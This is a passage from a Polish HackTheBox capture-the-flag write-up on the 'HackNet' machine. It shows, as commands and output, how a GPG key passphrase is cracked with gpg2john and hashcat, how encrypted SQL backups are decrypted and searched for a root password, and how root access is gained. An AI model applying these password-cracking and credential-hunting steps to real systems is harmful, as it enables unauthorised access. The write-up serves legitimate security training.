Sandy:$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b:::Sandy (My key for backups) <[email protected]>::armored_key.ascZapisujemy hash do pliku armored_key.asc.john.hash. Do złamania hasha wykorzystamy narzędzie hashcat. Jednak aby ten mógł go rozpoznać, musimy wykonać jeszcze jeden krok - wykestraktować właściwy ciąg, który znajduje się pomiędzy Sandy: a ::::
rvr@rvr$ gpg2john armored_key.asc > armored_key.asc.john.hash
rvr@rvr$ awk -F ':' '{ print $2 }' armored_key.asc.john.hash > armored_key.asc.hashWreszcie możemy uruchomić hashcata ze słownikiem rockyou.txt (co jest standardem dla HackTheBox).
rvr@rvr$ hashcat.bin armored_key.asc.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
17010 | GPG (AES-128/AES-256 (SHA-1($pass))) | Raw Hash
...[snip]...
$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b:sweetheart
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 17010 (GPG (AES-128/AES-256 (SHA-1($pass))))
Hash.Target......: $gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a...f0058b
Time.Started.....: Wed Jan 19 18:38:18 2026 (1 min, 28 secs)
Time.Estimated...: Wed Jan 19 18:39:46 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
...[snip]...
Started: Wed Jan 19 18:36:30 2026
Stopped: Wed Jan 19 18:39:48 2026Po chwili dostajemy złamany passphrase:
sweetheartMożemy teraz odszyfrować pliki .gpg podając jako hasło sweetheart:
sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup01.sql.gpg > /tmp/backup01.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <[email protected]>"
sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup02.sql.gpg > /tmp/backup02.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <[email protected]>"
sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup03.sql.gpg > /tmp/backup03.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <[email protected]>"Shell jako root
Uruchamiając grep password backup* na odszyforwanych plikach .sql, znajdujemy ciekawą informację:
sandy@hacknet:/tmp$ grep password backup*
...[snip]...
backup02.sql:(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
backup02.sql:(50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
...[snip]...Mamy nieznane wcześniej hasło: h4ck3rs4re3veRywh3re99. Okazuje się, że pasuje do konta root, dzięki czemu uzyskujemy pełną kontrolę nad systemem:
sandy@hacknet:/tmp$ su root
Password:
root@hacknet:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@hacknet:/tmp# cat /root/root.txt
add688a6*************************